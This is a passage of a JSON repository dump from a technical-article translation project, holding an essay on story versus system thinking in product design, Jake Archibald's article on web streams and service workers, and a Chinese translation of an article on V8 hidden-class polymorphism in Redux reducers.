work.”*\n\n![](https://cdn-images-1.medium.com/max/600/1*yQRdAJV9bU567l1phVsO0g.png) \n\nJudith Rothschild, “Greenwich Village,” 1945.\n\nIt’s worth noting that we tend to favor story thought when considering ourselves, while all-too-readily subsuming others into system thought’s constructs. The more closely we look at a situation, the less “generally” we will describe it and the more every particular detail, exception, and element matters. And we know ourselves at this level of “full reality,” but very few others. [3]\n \nIt’s also worth noting that “areas we haven’t reduced to explanatory systems” tend to be areas that involve human beings as agents; as we have no explanatory model for mind, everything that involves mind — values, culture, society, history — is only somewhat reducible. This means that story thought will sometimes be the *only* mode available to us, or will at least be more useful than system thought whose depth is exaggerated.\n\n#### In companies ####\n\nIndeed, this is *why* we need story thought: it can give us insight into phenomena that system thought cannot. The opposite is also true, and it’s the nightmare of the scaled, contemporary world that no easy meta-framework exists for adjudicating when to use one or the other. In general, as human agency grows in importance for the things we’re thinking about, so too does the value of story thought; as scaled phenomena grow in importance, the value of system thought grows.\n \nPutting aside politics and our love lives, this lens is extremely useful for navigating technology companies. In sum: I believe **it’s usually the responsibility of designers to insist that a balance of story thought and system thought is applied** to product development.\n \nThis is not because engineers, *as people*, or PMs, *as people*, are “prone to system thought”; they may or may not be, but their disciplines and the configuration of their organizations *almost always* are. This means that over time, best practices accumulate that favor system thought, and many of design’s partners will favor the measurable, the reducible, the general over the ineffable, the holistic, or the narrative in how they make decisions. (Bad designers will *only* favor the latter, giving their thinking a precious, privileged, arbitrary quality which can be costly).\n \nOf course, technology itself makes system thought more important and more valuable than it’s ever been —if only by dramatically increasing measurability in systems— so it’s not absurd for it to enjoy primacy as a mode of analysis. But it can lead to failure if over-promoted or overly-relied-upon.\n\nLet’s consider a stark example: if you’re a digital media company, how do you navigate the problem of “what content to produce”? You can\n\n- imagine an ideal or “first principles” your content should reflect, based on imagined audiences or extrinsic morals or anything else; you can then make decisions based on this idea and these principles, asking yourself “what people think about this mix”; or you can\n\n- measure what people click on and try to make more of that; assume that whatever they click on is what they want (how else can clicking be interpreted?), and made decisions based on usage data.\n\nObviously, good organizations mix these two approaches — the former a story approach, the latter a system approach — but observers of the media industry would likely agree that over-indexing on the latter is at least partly why media is distrusted and disliked by consumers. Yes, those same consumers — or a majority of them — “engage” more with clickbait, sensationalism, and news-as-entertainment, but in the longer-term, people think that the desperate pursuit of attention at the expense of principle is disgusting, and they lose trust in media *as such.*\n \nThere was probably no *measurement* that made that outcome clear as it happened. No one could have articulated a position against the stakeholders pushing CNN to become more sensationalistic which those stakeholders would have accepted; they would have had to appeal to “story thought,” including speculative assertions about long-term phenomena that we cannot measure well: values, culture, individual judgments apart from mob movements. Or they’d rely on the utility of *a priori *interpretive theories like “Jobs to Be Done” or “Kahneman’s two systems,” which may or may not resonate with system thinkers. [4] At best they’d have had “sentiment analyses” which do little in the face of “engagement data,” or perhaps they’d just blurt out their own personal claims that “over time, users don’t want trash even when they click on it more; they want quality,” whatever *that* is.\n\nOf course: someone probably did try that appeal, and they probably lost. Such a position is hard to defend against data, and especially when revenue follows engagement. But more striking is this: **the position’s truth is so obvious that we’d expect a 10 year old to understand it,** yet media companies struggled to weigh it appropriately [5]. In addition to such silly errors, insisting on systems-only thinking can lead to local maxima that constrain product development over time, a common outcome in many companies. Indeed, as most creativity consists of innovations that aren’t obviously “the next logical extension” of some pre-existing system, creativity itself is usually a victim of over-emphasized system thought, too.\n \n(There are also uncountable examples of story thought going awry. Almost every cockamamie app idea that fills you with despair arises from an underexamined, underchallenged story, such that many believe that systems thought is strictly superior. If there is *more *bad story thought, then advocating systems thought is useful generally. But in many technology companies, the dilemma is as often that systems thought is itself overrated. In any event: both lead to error if not checked, and sometimes even then).\n\n![](https://cdn-images-1.medium.com/max/600/1*NzizwyFI-qb-BMsoQf85Mg.png) \n\nWassily Kandinsky, “*Kleine Welten VII*,” 1922.\n\n#### Known Unknowns ####\n\nSound organizations attempt to know both what they know *and* what they don’t and can’t, just as individuals should. Much of how humans think is mysterious still, but “mystery” simply isn’t part of any system. As individuals, we often navigate this easily: we alternate between modes based on which seems more useful, more valuable, more true. At a wedding, I’m unlikely to challenge anyone to justify their vows by bringing up evolutionary biology (not solely due to social cost, but also because I consider contemporary biology an incomplete account of love; most people do). But in technology organizations, being able to articulate why these two systems exist and persist — and what the strengths and weaknesses of each are — can help bridge gaps across functions and explain product proposals that would otherwise seem arbitrary and risky or reductive and short-sighted.\n \nNot being able to do this can lead to rancorous functional factionalism or, worse, frequent product failures. Story thought, which captures and understands human meanings, is central to creating things humans use and find valuable; system thought, which captures and understands scale, iteration, flow, and many aspects of technology and business, is central to making these valuable things accessible, sustainably available, and continuously improving.\n \nSo consider the ways you lean on system or story thought; and consider when you’re collaborating how others do so. If you can explain your story in system terms, or your system in story terms — and why both modes matter — you’ll have an easier time attaining alignment and understanding what every kind of thinker can contribute to product development processes.\n\n#### Notes ####\n\n1. To be concrete, “thinking” here means: what sorts of entities appear in our arguments; what kinds of operations we accept on those entities (analogies or measurements or anecdotes or the like); what tradeoffs we’ll make between reach and accuracy in our thinking; how much, if any, evidence we require, and what constitutes evidence. People of relative overall similarity can have strikingly different attitudes about modes of thinking, and when this happens persuasion can be very hard.\n2. This dilemma is an old one in philosophy, exemplified for most by Kierkegaard’s resistance to Hegel; Walker Percy described Kierkegaard as saying that Hegel is “a philosopher who can explain everything under the sun except one small detail: what it means to be a human…” And indeed most of our systems work in precisely this fashion: whatever their overall predictive power, they fail to account for the subjective experience of human beings, and for the meanings that arise from them.\n3. One of the powers of art is to focus our attention to this level of detail in other lives and experiences. This is why it’s possible to have anti-heroes in novels, or complex moral figures in film. A truly realistic portrayal of another almost always arouses our sympathy, because it renders our reductive moral systems ineffectual and prompts us to “judge them as we’d be judged.”\n4. [Abhinav Sharma](https://twitter.com/abhinavsharma) has written about [using Kahneman’s ideas in product design](https://medium.com/quora-design/designing-fast-or-slow-2a4db40c39aa#.6y19u14qv) and how that lens clarifies some of these issues.\n5. It’s probable that many do and did understand this, but their business models and the environment their industry is in make it hard for them pursue any course other than engagement-seeking. If so, innovation in models is needed, which is even harder than innovation in content or products. It may merely be that cultures need to realize how desperately they need news well-covered and must increase what they’ll pay for—how much they value— it.\n"
  },
  {
    "path": "TODO/streams-ftw.md",
    "content": ">* 原文链接 : [2016 - the year of web streams](https://jakearchibald.com/2016/streams-ftw/)\n* 原文作者 : [Jake](https://github.com/jakearchibald/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者: \n* 状态： 认领中\n\n\nYeah, ok, it's a touch bold to talk about something being _the thing of the year_ as early as January, but the potential of the web streams API has gotten me all excited.\n\nTL;DR: Streams can be used to do fun things like [turn clouds to butts](#cloud-to-butt), [transcode MPEG to GIF](#mpeg-to-gif), but most importantly, they can be combined with service workers to become [_the fastest_ way to serve content](#streaming-results).\n\n## Streams, huh! What are they good for?\n\nAbsolutely… some things.\n\nPromises are a great way to represent async delivery of a single value, but what about representing multiple values? Or multiple parts of larger value that arrives gradually?\n\nSay we wanted to fetch and display an image. That involves:\n\n1.  Fetching some data from the network\n2.  Processing it, turning it from compressed data into raw pixel data\n3.  Rendering it\n\nWe could do this one step at a time, or we could stream it:\n\n<img src=\"http://ww4.sinaimg.cn/large/675f4a91jw1f1ih0ffq90g20jn0c0tk2.gif\"/>\n\nIf we handle & process the response bit by bit, we get to render _some_ of the image way sooner. We even get to render the whole image sooner, because the processing can happen in parallel with the fetching. This is streaming! We're _reading_ a stream from the network, _transforming_ it from compressed data to pixel data, then _writing_ it to the screen.\n\nYou could achieve something similar with events, but streams come with benefits:\n\n*   **Start/end aware** - although streams can be infinite\n*   **Buffering of values that haven't been read** - whereas events that happen before listeners are attached are lost\n*   **Chaining via piping** - you can pipe streams together to form an async sequence\n*   **Built-in error handling** - errors will be propagated down the pipe\n*   **Cancellation support** - and that cancellation message is passed back up the pipe\n*   **Flow control** - you can react to the speed of the reader\n\nThat last one is really important. Imagine we were using streams to download and display a video. If we can download and decode 200 frames of video per second, but only want to display 24 frames a second, we could end up with a huge backlog of decoded frames and run out of memory.\n\nThis is where flow control comes in. The stream that's handling the rendering is pulling frames from the decoder stream 24 times a second. The decoder notices that it's producing frames faster than they're being read, and slows down. The network stream notices that it's fetching data faster than it's being read by the decoder, and slows the download.\n\nBecause of the tight relationship between stream & reader, a stream can only have one reader. However, an unread stream can be \"teed\", meaning it's split into two streams that receive the same data. In this case, the tee manages the buffer across both readers.\n\nOk, that's the theory, and I can see you're not ready to hand over that 2016 trophy just yet, but stay with me.\n\nThe browser streams loads of things by default. Whenever you see the browser displaying parts of a page/image/video as it's downloading, that's thanks to streaming. However, it's only recently, thanks to a [standardisation effort](https://streams.spec.whatwg.org/), that streams are becoming exposed to script.\n\n## Streams + the fetch API\n\n[`Response`](https://developer.mozilla.org/en-US/docs/Web/API/Response) objects, as defined by the [fetch spec](https://fetch.spec.whatwg.org/#response-class), let you read the response as a variety of formats, but `response.body` gives you access to the underlying stream. `response.body` is supported in the current stable version of Chrome.\n\nSay I wanted to get the content-length of a response, without relying on headers, and without keeping the whole response in memory. I could do it with streams:\n\n    // fetch() resolves once headers have been received\n    fetch(url).then(response => {\n      // response.body is a readable stream.\n      // Calling getReader() gives us exclusive access to\n      // the stream's content\n      var reader = response.body.getReader();\n      var bytesReceived = 0;\n\n      // read() resolves when content has been received\n      reader.read().then(function processResult(result) {\n        // Result objects contain two properties:\n        // done  - true if the stream has already given\n        //         you all its data.\n        // value - some data. Always undefined when\n        //         done is true.\n        if (result.done) {\n          console.log(\"Fetch complete\");\n          return;\n        }\n\n        // result.value for fetch streams is a Uint8Array\n        bytesReceived += result.value.length;\n        console.log('Received', bytesReceived, 'bytes of data so far');\n\n        // Read some more, and call this function again\n        return reader.read().then(processResult);\n      });\n    });\n\n**[View demo](http://jsbin.com/vuqasa/edit?js,console)** (1.3mb)\n\nThe demo fetches 1.3mb of gzipped HTML from the server, which decompresses to 7.7mb. However, the result isn't held in memory. Each chunk's size is recorded, but the chunks themselves are garbage collected.\n\n`result.value` is whatever the creator of the stream provides, which can be anything: a string, number, date, ImageData, DOM element… but in the case of a fetch stream it's always a [`Uint8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array) of binary data. The whole response is each `Uint8Array` joined together. If you want the response as text, you can use [`TextDecoder`](https://developer.mozilla.org/en-US/docs/Web/API/TextDecoder/TextDecoder):\n\n    var decoder = new TextDecoder();\n    var reader = response.body.getReader();\n\n    // read() resolves when content has been received\n    reader.read().then(function processResult(result) {\n      if (result.done) return;\n      console.log(\n        decoder.decode(result.value, {stream: true})\n      );\n\n      // Read some more, and recall this function\n      return reader.read().then(processResult);\n    });\n\n`{stream: true}` means the decoder will keep a buffer if `result.value` ends mid-way through a UTF-8 code point, since a character like ♥ is represented as 3 bytes: `[0xE2, 0x99, 0xA5]`.\n\n`TextDecoder` is currently a little clumsy, but it's likely to become a transform stream in the future (once transform streams are defined). A transform stream is an object with a writable stream on `.writable` and a readable stream on `.readable`. It takes chunks into the writable, processes them, and passes something out through the readable. Using transform streams will look like this:\n\n<style>.hypothetical-code { background: #732525; color: #fff; font-size: 0.8rem; margin: 1em -20px 0; padding: 7px 20px; } @media screen and (min-width: 530px) { .hypothetical-code { margin-left: -32px; margin-right: 0; padding-left: 32px; padding-right: 0; } } .hypothetical-code + .codehilite { margin-top: 0; }</style>\n\nHypothetical future-code:\n\n    var reader = response.body\n      .pipeThrough(new TextDecoder()).getReader();\n\n    reader.read().then(result => {\n      // result.value will be a string\n    });\n\nThe browser should be able to optimise the above, since both the response stream and `TextDecoder` transform stream are owned by the browser.\n\n### Cancelling a fetch\n\nA stream can be cancelled using `stream.cancel()` (so `response.body.cancel()` in the case of fetch) or `reader.cancel()`. Fetch reacts to this by stopping the download.\n\n**[View demo](https://jsbin.com/gameboy/edit?js,console)** (also, note the amazing random URL JSBin gave me).\n\nThis demo searches a large document for a term, only keeps a small portion in memory, and stops fetching once a match is found.\n\nAnyway, this is all so 2015\\. Here's the fun new stuff…\n\n## Creating your own readable stream\n\nIn Chrome Canary with the \"Experimental web platform features\" flag enabled, you can now create your own streams.\n\n    var stream = new ReadableStream({\n      start(controller) {},\n      pull(controller) {},\n      cancel(reason) {}\n    }, queuingStrategy);\n\n*   `start` is called straight away. Use this to set up any underlying data sources (meaning, wherever you get your data from, which could be events, another stream, or just a variable like a string). If you return a promise from this and it rejects, it will signal an error through the stream.\n*   `pull` is called when your stream's buffer isn't full, and is called repeatedly until it's full. Again, If you return a promise from this and it rejects, it will signal an error through the stream. Also, `pull` will not be called again until the returned promise fulfills.\n*   `cancel` is called if the stream is cancelled. Use this to cancel any underlying data sources.\n*   `queuingStrategy` defines how much this stream should ideally buffer, defaulting to one item - I'm not going to go into depth on this here, [the spec has more details](https://streams.spec.whatwg.org/#blqs-class).\n\nAs for `controller`:\n\n*   `controller.enqueue(whatever)` - queue data in the stream's buffer.\n*   `controller.close()` - signal the end of the stream.\n*   `controller.error(e)` - signal a terminal error.\n*   `controller.desiredSize` - the amount of buffer remaining, which may be negative if the buffer is over-full. This number is calculated using the `queuingStrategy`.\n\nSo if I wanted to create a stream that produced a random number every second, until it produced a number `> 0.9`, I'd do it like this:\n\n    var interval;\n    var stream = new ReadableStream({\n      start(controller) {\n        interval = setInterval(() => {\n          var num = Math.random();\n\n          // Add the number to the stream\n          controller.enqueue(num);\n\n          if (num > 0.9) {\n            // Signal the end of the stream\n            controller.close();\n            clearInterval(interval);\n          }\n        }, 1000);\n      },\n      cancel() {\n        // This is called if the reader cancels,\n        //so we should stop generating numbers\n        clearInterval(interval);\n      }\n    });\n\n**[See it running](https://jsbin.com/fahavoz/edit?js,console)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled.\n\nIt's up to you when to pass data to `controller.enqueue`. You could just call it whenever you have data to send, making your stream a \"push source\", as above. Alternatively you could wait until `pull` is called, then use that as a signal to collect data from the underlying source and then `enqueue` it, making your stream a \"pull source\". Or you could do some combination of the two, whatever you want.\n\nObeying `controller.desiredSize` means the stream is passing data along at the most efficient rate. This is known has having \"backpressure support\", meaning your stream reacts to the read-rate of the reader (like the video decoding example earlier). However, ignoring `desiredSize` won't break anything unless you run out of device memory. The spec has a good example of [creating a stream with backpressure support](https://streams.spec.whatwg.org/#example-rs-push-backpressure).\n\nCreating a stream on its own isn't particularly fun, and since they're new, there aren't a lot of APIs that support them, but there is one:\n\n    new Response(readableStream);\n\nYou can create an HTTP response object where the body is a stream, and you can use these as responses from a service worker!\n\n## Serving a string, slowly\n\n**[View demo](https://jakearchibald.github.io/isserviceworkerready/demos/simple-stream/)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled.\n\nYou'll see a page of HTML rendering (deliberately) slowly. This response is entirely generated within a service worker. Here's the code:\n\n    // In the service worker:\n    self.addEventListener('fetch', event => {\n      var html = '…html to serve…';\n\n      var stream = new ReadableStream({\n        start(controller) {\n          var encoder = new TextEncoder();\n          // Our current position in `html`\n          var pos = 0;\n          // How much to serve on each push\n          var chunkSize = 1;\n\n          function push() {\n            // Are we done?\n            if (pos >= html.length) {\n              controller.close();\n              return;\n            }\n\n            // Push some of the html,\n            // converting it into an Uint8Array of utf-8 data\n            controller.enqueue(\n              encoder.encode(html.slice(pos, pos + chunkSize))\n            );\n\n            // Advance the position\n            pos += chunkSize;\n            // push again in ~5ms\n            setTimeout(push, 5);\n          }\n\n          // Let's go!\n          push();\n        }\n      });\n\n      return new Response(stream, {\n        headers: {'Content-Type': 'text/html'}\n      });\n    });\n\nWhen the browser reads a response body it expects to get chunks of `Uint8Array`, it fails if passed something else like a plain string. Thankfully `TextEncoder` can take a string and returns a `Uint8Array` of bytes representing that string.\n\nLike `TextDecoder`, `TextEncoder` should become a transform stream in future.\n\n## Serving a transformed stream\n\nLike I said, transform streams haven't been defined yet, but you can achieve the same result by creating a readable stream that produces data sourced from another stream.\n\n### \"Cloud\" to \"butt\"\n\n**[View demo](https://jakearchibald.github.io/isserviceworkerready/demos/transform-stream/)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled.\n\nWhat you'll see is [this page](https://jakearchibald.github.io/isserviceworkerready/demos/transform-stream/cloud.html) (taken from the cloud computing article on Wikipedia) but with every instance of \"cloud\" replaced with \"butt\". The benefit of doing this as a stream is you can get transformed content on the screen while you're still downloading the original.\n\n[Here's the code](https://github.com/jakearchibald/isserviceworkerready/blob/master/src/demos/transform-stream/sw.js), including details on some of the edge-cases.\n\n### MPEG to GIF\n\nVideo codecs are really efficient, but videos don't autoplay on mobile. GIFs autoplay, but they're huge. Well, here's a _really stupid_ solution:\n\n**[View demo](https://jakearchibald.github.io/isserviceworkerready/demos/gif-stream/)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled.\n\nStreaming is useful here as the first frame of the GIF can be displayed while we're still decoding MPEG frames.\n\nSo there you go! A 26mb GIF delivered using only 0.9mb of MPEG! Perfect! Except it isn't real-time, and uses a lot of CPU. Browsers should really allow autoplaying of videos on mobile, especially if muted, and it's something Chrome is working towards right now.\n\nFull disclosure: I cheated somewhat in the demo. It downloads the whole MPEG before it begins. I wanted to get it streaming from the network, but I ran into an `OutOfSkillError`. Also, the GIF really shouldn't loop while it's downloading, that's a bug we're looking into.\n\n## Creating one stream from multiple sources to supercharge page render times\n\nThis is probably the most practical application of service worker + streams. The benefit is _huge_ in terms of performance.\n\nA few months ago I built a [demo of an offline-first wikipedia](https://wiki-offline.jakearchibald.com/). I wanted to create a truly progressive web-app that worked fast, and added modern features as enhancements.\n\nIn terms of performance, the numbers I'm going to talk about are based on a lossy 3g connection simulated using OSX's Network Link Conditioner.\n\nWithout the service worker it displays content sent to it by the server. I put a lot of effort into performance here, and it paid off:\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f1igoc3j3dj20np04b0t0.jpg)\n\n**[View demo](https://wiki-offline.jakearchibald.com/wiki/Google?use-url-flags&prevent-sw=1)**\n\nNot bad. I added a service worker to mix in some offline-first goodness and improve performance further. And the results?\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f1igpzwl7cj20my04mdg8.jpg)\n\n**[View demo](https://wiki-offline.jakearchibald.com/wiki/Google?use-url-flags&client-render=1&prevent-streaming=1&no-prefetch)**\n\nSo um, first render is faster, but there's a massive regression when it comes to rendering content.\n\nThe _fastest_ way would be to serve the entire page from the cache, but that involves caching all of Wikipedia. Instead, I served a page that contained the CSS, JavaScript and header, getting a fast initial render, then let the page's JavaScript set about fetching the article content. And that's where I lost all the performance - client-side rendering.\n\nHTML renders as it downloads, whether it's served straight from a server or via a service worker. But I'm fetching the content from the page using JavaScript, then writing it to `innerHTML`, bypassing the streaming parser. Because of this, the content has to be fully downloaded before it can be displayed, and that's where the two second regression comes from. The more content you're downloading, the more the lack of streaming hurts performance, and unfortunately for me, Wikipedia articles are pretty big (the Google article is 100k).\n\nThis is why you'll see me whining about JavaScript-driven web-apps and frameworks - they tend to throw away streaming as step zero, and performance suffers as a result.\n\nI tried to claw some performance back using prefetching and pseudo-streaming. The pseudo-streaming is particularly hacky. The page fetches the article content and reads it as a stream. Once it receives 9k of content, it's written to `innerHTML`, then it's written to `innerHTML` again once the rest of the content arrives. This is horrible as it creates some elements twice, but hey, it's worth it:\n\n![](http://ww1.sinaimg.cn/large/a490147fjw1f1igqvtyyrj20n405vdgi.jpg)\n\n**[View demo](https://wiki-offline.jakearchibald.com/wiki/Google?use-url-flags&client-render=1)**\n\nSo the hacks improve things but it still lags behind server render, which isn't really acceptable. Furthermore, content that's added to the page using `innerHTML` doesn't quite behave the same as regular parsed content. Notably, inline `<script>`s aren't executed.\n\nThis is where streams step in. Instead of serving an empty shell and letting JS populate it, I let the service worker construct a stream where the header comes from a cache, but the body comes from the network. It's like server-rendering, but in the service worker:\n\n![](http://ww2.sinaimg.cn/large/a490147fjw1f1igs5zb6mj20me0743zb.jpg)\n\n**[View demo](https://wiki-offline.jakearchibald.com/wiki/Google?sw-stream)**. **Note:** You'll need Chrome Canary with `chrome://flags/#enable-experimental-web-platform-features` enabled.\n\nUsing service worker + streams means you can get an almost-instant first render, then beat a regular server render by piping a smaller amount of content from the network. Content goes through the regular HTML parser, so you get streaming, and none of the behavioural differences you get with adding content to the DOM manually.\n\n<img src=\"http://ww1.sinaimg.cn/large/675f4a91jw1f1ilwzss9vg207403gwga.gif\"/>\n\n### Crossing the streams\n\nBecause piping isn't supported yet, combining the streams has to be done manually, making things a little messy:\n\n    var stream = new ReadableStream({\n      start(controller) {\n        // Get promises for response objects for each page part\n        // The start and end come from a cache\n        var startFetch = caches.match('/page-start.inc');\n        var endFetch = caches.match('/page-end.inc');\n        // The middle comes from the network, with a fallback\n        var middleFetch = fetch('/page-middle.inc')\n          .catch(() => caches.match('/page-offline-middle.inc'));\n\n        function pushStream(stream) {\n          // Get a lock on the stream\n          var reader = stream.getReader();\n\n          return reader.read().then(function process(result) {\n            if (result.done) return;\n            // Push the value to the combined stream\n            controller.enqueue(result.value);\n            // Read more & process\n            return read().then(process);\n          });\n        }\n\n        // Get the start response\n        startFetch\n          // Push its contents to the combined stream\n          .then(response => pushStream(response.body))\n          // Get the middle response\n          .then(() => middleFetch)\n          // Push its contents to the combined stream\n          .then(response => pushStream(response.body))\n          // Get the end response\n          .then(() => endFetch)\n          // Push its contents to the combined stream\n          .then(response => pushStream(response.body))\n          // Close our stream, we're done!\n          .then(() => controller.close());\n      }\n    });\n\nThere are some templating languages such as [Dust.js](http://www.dustjs.com/) which stream their output, and also handle streams as values within the template, piping the content too and even HTML-escaping it on the fly. All that's missing is support for web streams.\n\n## The future for streams\n\nAside from readable streams, the streams spec is still being developed, but what you can already do is pretty incredible. If you're wanting to improve the performance of a content-heavy site and provide an offline-first experience without rearchitecting, constructing streams within a service worker will become the easiest way to do it. It's how I intend to make this blog work offline-first anyway!\n\nHaving a stream primitive on the web means we'll start to get script access to all the streaming capabilities the browser already has. Things like:\n\n*   Gzip/deflate\n*   Audio/video codecs\n*   Image codecs\n*   The streaming HTML/XML parser\n\nIt's still early days, but if you want to start preparing your own APIs for streams, there's a [reference implementation](https://github.com/whatwg/streams/tree/master/reference-implementation/) that can be used as a polyfill in some cases.\n\nStreaming is one of the browser's biggest assets, and 2016 is the year it's unlocked to JavaScript.\n"
  },
  {
    "path": "TODO/surprising-polymorphism-in-react-applications.md",
    "content": "> * 原文地址：[Surprising polymorphism in React applications](https://medium.com/@bmeurer/surprising-polymorphism-in-react-applications-63015b50abc)\n> * 原文作者：[Benedikt Meurer](https://medium.com/@bmeurer?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/surprising-polymorphism-in-react-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO/surprising-polymorphism-in-react-applications.md)\n> * 译者： [Candy Zheng](https://github.com/blizzardzheng)\n> * 校对者：[goldEli](https://github.com/goldEli)，[老教授](https://juejin.im/user/58ff449a61ff4b00667a745c)\n\n# React 应用中的性能隐患 —— 神奇的多态\n\n基于 React 框架的现代 web 应用经常通过不可变数据结构来管理它们的状态。比如使用比较知名的 Redux 状态管理工具。这种模式有许多优点并且即使在 React/Redux 生态圈外也越来越流行。\n\n这种机制的核心被称作为 ``reducers``。 它们是一些能根据一个特定的映射行为 `action`（例如对用户交互的响应）把应用从一个状态映射到下一个状态的函数。通过这种核心抽象的概念，复杂的状态和 reducers 可以由一些更简单状态和 reducers 组成，这使得它易于对各部分代码隔离做单元测试。我们仔细分析一下 [Redux 文档](http://redux.js.org/docs/basics/ExampleTodoList.html) 中的例子。\n\n```\nconst todo = (state = {}, action) => {\n  switch (action.type) {\n    case 'ADD_TODO':\n      return {\n        id: action.id,\n        text: action.text,\n        completed: false\n      }\n    case 'TOGGLE_TODO':\n      if (state.id !== action.id) {\n        return state\n      }\n\n      return Object.assign({}, state, {\n        completed: !state.completed\n      })\n\n    default:\n      return state\n  }\n}\n```\n\n这个名叫  `todo` 的 reducer 根据给定的 `action` 把一个已有的 `state` 映射到了一个新的状态。这个状态就是一个普通的 JavaScript 对象。我们单从性能角度来看这段代码，他似乎是符合单态法则的，比如这个对象的形状（key／value）保持一致。\n\n```\nconst s1 = todo({}, {\n  type: 'ADD_TODO',\n  id: 1,\n  text: \"Finish blog post\"\n});\n\nconst s2 = todo(s1, {\n  type: 'TOGGLE_TODO',\n  id: 1\n});\n\nfunction render(state) {\n  return state.id + \": \" + state.text;\n}\n\nrender(s1);\nrender(s2);\nrender(s1);\nrender(s2);\n```\n\n表面上来看， `render` 中访问属性应该是单态的，比如说 `state` 对象应该有相同的对象形状- [map 或者 V8 概念中的 hidden class 形式](https://github.com/v8/v8/wiki/Design%20Elements#fast-property-access) — 不管什么时候， `s1` 和 `s2` 都拥有 `id`, `text` 和 `completed` 属性并且它们有序。然而，当通过 `d8` 运行这段代码并跟踪代码的 ``ICs`` (内联缓存) 时，我们发现那个 `render` 表现出来的对象形状不相同， `state.id` 和 `state.text` 的获取变成了多态形式：\n\n![](https://cdn-images-1.medium.com/max/800/1*FrfEaOkxshIj79wJDQyrIQ.png)\n\n那么问题来了，这个多态是从哪里来的？它确实表面看上去一致但其实有微小差异，我们得从 V8 是如何处理对象字面量着手分析。V8 里，每个对象字面量 (比如  `{a:va,...,z:vb}` 形式的表达形式 ) 定义了一个初始的`` map`` （map 在 V8 概念中特指对象的形状）这个 ``map`` 会在之后属性变动时迁移成其他形式的 ``map``。所以，如果你使用一个空对象字面量  {}  时，这棵迁移树（transition tree）的根是一个不包含任何属性的 ``map``，但如果你使用  `{id:id, text:text, completed:completed}` 形式的对象字面量，那么这个迁移树（transition tree）的根就会是一个包含这三个属性，让我们来看一个精简过的例子：\n\n```\nlet a = {x:1, y:2, z:3};\n\nlet b = {};\nb.x = 1;\nb.y = 2;\nb.z = 3;\n\nconsole.log(\"a is\", a);\nconsole.log(\"b is\", b);\nconsole.log(\"a and b have same map:\", %HaveSameMap(a, b));\n```\n\n你可以在 ``Node.js`` 运行命令后面加上 `--allow-natives-syntax` 跑这段代码（开启即可应用内部方法 `%HaveSameMap`），举个例子：\n\n![](https://cdn-images-1.medium.com/max/800/1*yzSaH_AE5z7r9PWBXlvwWg.png)\n\n尽管 `a` and `b` 这两个对象看上去是一样的 —— 依次拥有相同类型的属性，它们 map 结构并不一样。原因是它们的迁移树（transition tree）并不相同，我们可以看以下的示例来解释：\n\n![](https://cdn-images-1.medium.com/max/800/1*fkbEgBWk74icFH1yZIH7Lw.png)\n\n所以当对象初始化期间被分配不同的对象字面量时，迁移树（transition tree）就不同，``map`` 也就不同，多态就隐含的形成了。这一结论对大家普遍用的 `Object.assign`也适用，比如：\n\n```\nlet a = {x:1, y:2, z:3};\n\nlet b = Object.assign({}, a);\n\nconsole.log(\"a is\", a);\nconsole.log(\"b is\", b);\nconsole.log(\"a and b have same map:\", %HaveSameMap(a, b));\n```\n\n这段代码还是产生了不同的 ``map`` ，因为对象  `b` 是从一个空对象( `{}` 字面量) 创建的，而属性是等到`Object.assign` 才给他分配。\n\n![](https://cdn-images-1.medium.com/max/800/1*Xu-nIj21gj-GlHDkzsSOSA.png)\n\n这也表明，当你使用  ``spread`` （拓展运算符）处理属性，并且通过 Babel 来语法转译，就会遇到这个多态的问题。因为 Babel （其他转译器可能也一样）, 对 ``spread`` 语法使用了 `Object.assign` 处理。\n\n![](https://cdn-images-1.medium.com/max/800/1*F2x8lRcZ83pQDvftelFOgA.png)\n\n有一种方法可以避免这个问题，就是始终使用 `Object.assign` ，并且所有对象从一个空的对象字面量开始。但是这也会导致这个状态管理逻辑存在性能瓶颈：\n\n```\nlet a = Object.assign({}, {x:1, y:2, z:3});\n\nlet b = Object.assign({}, a);\n\nconsole.log(\"a is\", a);\nconsole.log(\"b is\", b);\nconsole.log(\"a and b have same map:\", %HaveSameMap(a, b));\n```\n\n不过，当一些代码变成多态也不意味着一切完了。对大部分代码而言，单态还是多态并没啥关系。你应该在决定优化时多思考优化的价值。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/svg-vs-gif.md",
